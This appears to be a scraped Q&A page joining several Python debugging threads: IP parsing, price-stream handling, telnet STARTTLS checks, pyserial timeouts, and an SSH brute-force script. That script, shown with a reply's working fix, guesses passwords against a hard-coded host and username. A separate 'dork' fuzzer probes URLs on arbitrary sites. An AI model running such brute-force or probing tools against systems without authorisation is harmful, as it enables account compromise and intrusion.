I have been writing a function in python to get the IP of a computer. The code is given below :
def getip(self):
self.path = "/root"
self.iplist = []
os.chdir(self.path)
os.system("ifconfig > ipfinder")
try:
file = open("ipfinder","r")
self.pattern = '(\d{1,3}\.){3}\d{1,3}'
while True:
line = file.readline()
try:
ip = re.search(self.pattern, line).group()
self.iplist.append(ip)
except AttributeError:
pass
file.close()
except EOFError:
for ip in self.iplist:
print ip
I know this is not a good way to get the IP of a machine. The problem is that the AttributeError pops up every single time. Why is it happening? why can't a match be found?
I ran it in my local. Found 4 things be be modified!
a) regex:- \d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}
b) trim for any extra space while reading:- file.readline().strip()
c) If it comes to end of line, break the while:-
if line == '':
break
d) Instead of re.search, do re.finall
The modified code that works in my system without AttributeError is:-
def getip(self):
self.path = "/root"
self.iplist = []
os.chdir(self.path)
os.system("ifconfig > ipfinder")
try:
file = open("ipfinder","r")
self.pattern = '\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}'
while True:
line = file.readline().strip()
if line == '':
break
try:
ip = re.findall(self.pattern, line)
self.iplist.append(ip)
except AttributeError:
pass
file.close()
except EOFError:
for ip in self.iplist:
print ip
Related
Im writing a SSH Brute Force program for a school project, however i am stuck on the part where i have to make the password function. This is what my code looks like so far.
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
The problem i have is that it understands that it should loop it, but all the output i get is:
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
Is there a way to fix this problem?
When i stop the program from running it gives me this Traceback:
Traceback (most recent call last):
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 52, in <module>
response = ssh_connect(password)
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 30, in ssh_connect
ssh.connect(hostname = hostname, port = port, password= password, username= username)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 394, in connect
look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 636, in _auth
self._transport.auth_password(username, password)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/transport.py", line 1329, in auth_password
return self.auth_handler.wait_for_response(my_event)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/auth_handler.py", line 198, in wait_for_response
event.wait(0.1)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 551, in wait
signaled = self._cond.wait(timeout)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 299, in wait
gotit = waiter.acquire(True, timeout)
KeyboardInterrupt
Process finished with exit code 1
The traceback you posted (the one you get when interrupting the process) is actually irrelevant. The one that would have been usefull to let you debug the problem by yourself is lost due to your useless and actually harmful exception handler in your script's main loop, which you should either remove totally or at least rewrite to only catch expected exceptions - and then only wrap the ssh_connect() call, not the following code. IOW, you want to replace this:
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
With
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
except (your, list, of, expected, exceptions, here) as :
do_something_to_correctly_handle_this_exception_here(e)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
wrt/ your current problem, it's in the print calls above: you have:
print("some message" (variable, eventually_another_variable))
which is interpreted as:
msg = "some message" (variable, eventually_another_variable)
print(msg)
where the first line is interpreted as a function call applied to the "some message" string, hence the exception. What you want is string formatting, ie:
print("Password Incorrect: {} {}".format(username, password))
There are also quite a few things that are a bit wrong with your code, like opening files without closing them properly, mixing functions and top-level code instead of putting all operational code in functions on only have one single main function call at the top-level, writing passwords to a file and re-reading that file when you don't need it (technically at least), etc...
It's working. Try this:
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: {}, {}, {}, {}".format(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: {}, {}".format(username, password))
elif response == 2:
print("Connection Failed: {}".format(hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
In line 56, 60, 63 you ain't calling the variable properly. You forgot % though you can also use .format() as I have used in the code above
I have a rate stream where I need to store and compare the last two lines. For instance if the new price is higher than the previous, queue event. It's my understanding that iter_lines()only displays the last line. My question is how could I store the last line, wait for a new line and compare those, then queue the event? I know this is simple, but I'm still having trouble, thanks for your help!
Here is my UPDATED(3) stream:
def stream_to_queue(self):
response = self.connect_to_stream()
if response.status_code != 200:
return
oldLine = ''
for line in response.iter_lines(1):
if line < oldLine:
try:
msg = json.loads(line)
except Exception as e:
print "Caught exception when converting message into json\n" + str(e)
return
if msg.has_key("instrument") or msg.has_key("tick"):
print msg["tick"]
instrument = msg["tick"]["instrument"]
time = msg["tick"]["time"]
bid = msg["tick"]["bid"]
ask = msg["tick"]["ask"]
stop = msg["tick"]["ask"]
tev = TickEvent(instrument, time, bid, ask)
self.events_queue.put(tev)
oldLine = line
The original function:
def stream_to_queue(self):
response = self.connect_to_stream()
if response.status_code != 200:
return
for line in response.iter_lines(1):
if line:
try:
msg = json.loads(line)
except Exception as e:
print "Caught exception when converting message into json\n" + str(e)
return
if msg.has_key("instrument") or msg.has_key("tick"):
print msg["tick"]
instrument = msg["tick"]["instrument"]
time = msg["tick"]["time"]
bid = msg["tick"]["bid"]
ask = msg["tick"]["ask"]
stop = msg["tick"]["ask"]
The repaired function:
def stream_to_queue(self):
response = self.connect_to_stream()
if response.status_code != 200:
return
last_msg = None # new line
for line in response.iter_lines(1):
if line:
try:
msg = json.loads(line)
if last_msg is None: # new line
last_msg = msg # new line
except Exception as e:
print "Caught exception when converting message into json\n" + str(e)
return
# can now compare last msg with current msg
if msg.has_key("instrument") or msg.has_key("tick"):
print msg["tick"]
instrument = msg["tick"]["instrument"]
time = msg["tick"]["time"]
bid = msg["tick"]["bid"]
ask = msg["tick"]["ask"]
stop = msg["tick"]["ask"]
last_msg = msg # new line (may want to indent 4 more spaces)
It may make sense to move the if last_msg is None check to the inside of if msg.has_key block if you want the last_msg to have certain information.
so I have the below loop that works great until it hits certain hosts that simply cause a connection error. Unfortunately, instead of skipping over these instances, it causes the script to crash. I know to catch and avoid this exception it is best to through the troubling statement (serveroutput = tn.read_until(b'STARTTLS')) in a try: except block. I can do that, however I am not sure how to catch the error and tell it to move on. If I add a break, it will break the loop and cause the script to stop prematurely anyway. How can I continue iterating through j? I've heard I can use 'continue' as a way to continue iteration, but am I even catching the right exception here?
My Code:
def getServers():
fp = open("mailserverdata.csv", "r")
pt = from_csv(fp)
fp.close()
domains = txt_domains.get(1.0, 'end').splitlines()
symbols = txt_symbols.get(1.0, 'end').splitlines()
for x in range(len(domains)):
#Start Get MX Record
answers = dns.resolver.query(str(domains[x]), 'MX')
#End Get MX Record
#Start Get Employees
if symbols[x]!='':
xml = urllib.request.urlopen('https://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20yahoo.finance.stocks%20where%20symbol%3D%22'+symbols[x]+'%22&diagnostics=true&env=store%3A%2F%2Fdatatables.org%2Falltableswithkeys')
dom = parse(xml)
numemployees = dom.getElementsByTagName('FullTimeEmployees')
if len(numemployees)!=0:
numemployees = numemployees[0].firstChild.nodeValue
else:
numemployees = 0
#End Get Employees
j=0
tlsbool = 'N'
verified = 'N'
for rdata in answers:
#Start Trim Domains
output = str(rdata.exchange)
output = output[:len(output)-1]
print(output)
#End Trim Domains
#Start Telnet
tn = telnetlib.Telnet(output,25)
tn.write(b'ehlo a.com\r\n')
serveroutput = tn.read_until(b'STARTTLS')
checkvar = "STARTTLS"
for checkvar in serveroutput:
tlsbool = 'Y'
break
#End Telnet
#Start verification
if output.find(domains[x])>-1:
verified = 'Y'
#End verification
if j==0:
pt.add_row([domains[x],output,tlsbool,numemployees,verified])
else:
pt.add_row(['',output,tlsbool,'',verified])
j = j + 1
txt_tableout.delete(1.0, 'end')
txt_tableout.insert('end',pt)
root.ptglobal = pt
Try Catch Code:
try:
serveroutput = tn.read_until(b'STARTTLS')
except SocketError as e:
if e.errno != errno.ECONNRESET:
raise # Not error we are looking for
pass # Handle error here.
Full Stack Error:
Traceback (most recent call last):
File "C:\Python34\lib\tkinter\__init__.py", line 1487, in __call__
return self.func(*args)
File "C:\Users\kylec\Desktop\Data Motion\Mail Server Finder\mailserverfinder.py", line 58, in getServers
serveroutput = tn.read_until(b'STARTTLS')
File "C:\Python34\lib\telnetlib.py", line 317, in read_until
self.fill_rawq()
File "C:\Python34\lib\telnetlib.py", line 526, in fill_rawq
buf = self.sock.recv(50)
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
UPDATE:
I tried the following code but I received the following error.
Code:
try:
serveroutput = tn.read_until(b'STARTTLS')
except tn.ConnectionsResetError:
continue
Error:
AttributeError: 'Telnet' object has no attribute 'ConnectionsResetError'
What ended up working for me in the end was a modification of what #user3570335 had suggested.
try:
serveroutput = tn.read_until(b'STARTTLS')
except Exception as e:
tlsbool = '?'
I'm using python 3.3.0 in Windows 7.
I have two files: dork.txt and fuzz.py
dork.txt contains following:
/about.php?id=1
/en/company/news/full.php?Id=232
/music.php?title=11
fuzz.py contains following:
srcurl = "ANY-WEBSITE"
drkfuz = open("dorks.txt", "r").readlines()
print("\n[+] Number of dork names to be fuzzed:",len(drkfuz))
for dorks in drkfuz:
dorks = dorks.rstrip("\n")
srcurl = "http://"+srcurl+dorks
requrl = urllib.request.Request(srcurl)
#httpreq = urllib.request.urlopen(requrl)
# Starting the request
try:
httpreq = urllib.request.urlopen(requrl)
except urllib.error.HTTPError as e:
print ("[!] Error code: ", e.code)
print("")
#sys.exit(1)
except urllib.error.URLError as e:
print ("[!] Reason: ", e.reason)
print("")
#sys.exit(1)
#if e.code != 404:
if httpreq.getcode() == 200:
print("\n*****srcurl********\n",srcurl)
return srcurl
So, when I enter the correct website name which has /about.php?id=1, it works fine.
But when I provide the website which has /en/company/news/full.php?Id=232, it first
prints Error code: 404 and then gives me the following error: UnboundLocalError: local
variable 'e' referenced before assignment or UnboundLocalError: local variable 'httpreq' referenced before assignment
I can understand that if the website doesn't have the page which contains /about.php?id=1, it gives Error code: 404 but why it's not going back in the for loop to check the remaining dorks in the text file??? Why it stops here and throws an error?
I want to make a script to find out valid page from just a website address like: www.xyz.com
When the line urllib.request.urlopen(requrl) expression throws an exception, the variable httpreq is never set. You could set it to None before the try statement, then test if it is still None afterwards:
httpreq = None
try:
httpreq = urllib.request.urlopen(requrl)
# ...
if httpreq is not None and httpreq.getcode() == 200:
srcurl = "ANY-WEBSITE"
drkfuz = open("dorks.txt", "r").readlines()
print("\n[+] Number of dork names to be fuzzed:",len(drkfuz))
for dorks in drkfuz:
dorks = dorks.rstrip("\n")
srcurl = "http://"+srcurl+dorks
try:
requrl = urllib.request.Request(srcurl)
if requrl != None and len(requrl) > 0:
try:
httpreq = urllib.request.urlopen(requrl)
if httpreq.getcode() == 200:
print("\n*****srcurl********\n",srcurl)
return srcurl
except:
# Handle exception
pass
except:
# Handle your exception
print "Exception"
Untested code, but it will work logically.
MacOS 10.7.3, python 2.5
I am using pyserial to open a connection to an external server. The connection is opened as:
HOST = '10.0.0.1'
PORT = '16010'
theURL = 'socket://' + HOST + ':' + PORT
conn = serial.serial_for_url(theURL, baudrate=115200)
conn.timeout = 2
and then the read looks like this:
try:
while len(rawData) == 0 and self.shutdown == False:
rawData = conn.readline()
except:
some error handling code...
The problem is, if I kill the server at 10.0.0.1:16010 the code keeps running, but the cpu usage goes to 100%. No error is thrown, so the except is never entered.
This looks like a problem in pyserial, but maybe someone here has run into this before and knows how to detect the lost connection so the situation can be handled gracefully.
Thanks.
If you're not depending on .readline() you could do it like this:
self.plugin.conn = Serial(..., timeout = 1)
...
if not self.shutdown:
rawData = self.plugin.conn.read(1)
if rawData:
rawData += self.plugin.conn.read(self.plugin.conn.inWaiting())
else:
raise Exception("timeout")
I'm not sure if I got your intent right so you might have to adjust...
The fact that your CPU usage is pegged probably indicates the the readline call is not blocking to timeout but returns instantly. So if your normal timeout
is 2, you could use:
from time import time
try:
while len(rawData) == 0 and self.shutdown == False:
before = time()
rawData = conn.readline()
if (len(rawData)==0) and ((time()-before)<2):
raise Exception("Early readline return.")
except:
some error handling code...
A very good solution to this can be found here:
class ReadLine:
def __init__(self, s):
self.buf = bytearray()
self.s = s
def readline(self):
i = self.buf.find(b"\n")
if i >= 0:
r = self.buf[:i+1]
self.buf = self.buf[i+1:]
return r
while True:
i = max(1, min(2048, self.s.in_waiting))
data = self.s.read(i)
i = data.find(b"\n")
if i >= 0:
r = self.buf + data[:i+1]
self.buf[0:] = data[i+1:]
return r
else:
self.buf.extend(data)
ser = serial.Serial('COM7', 9600)
rl = ReadLine(ser)
while True:
print(rl.readline())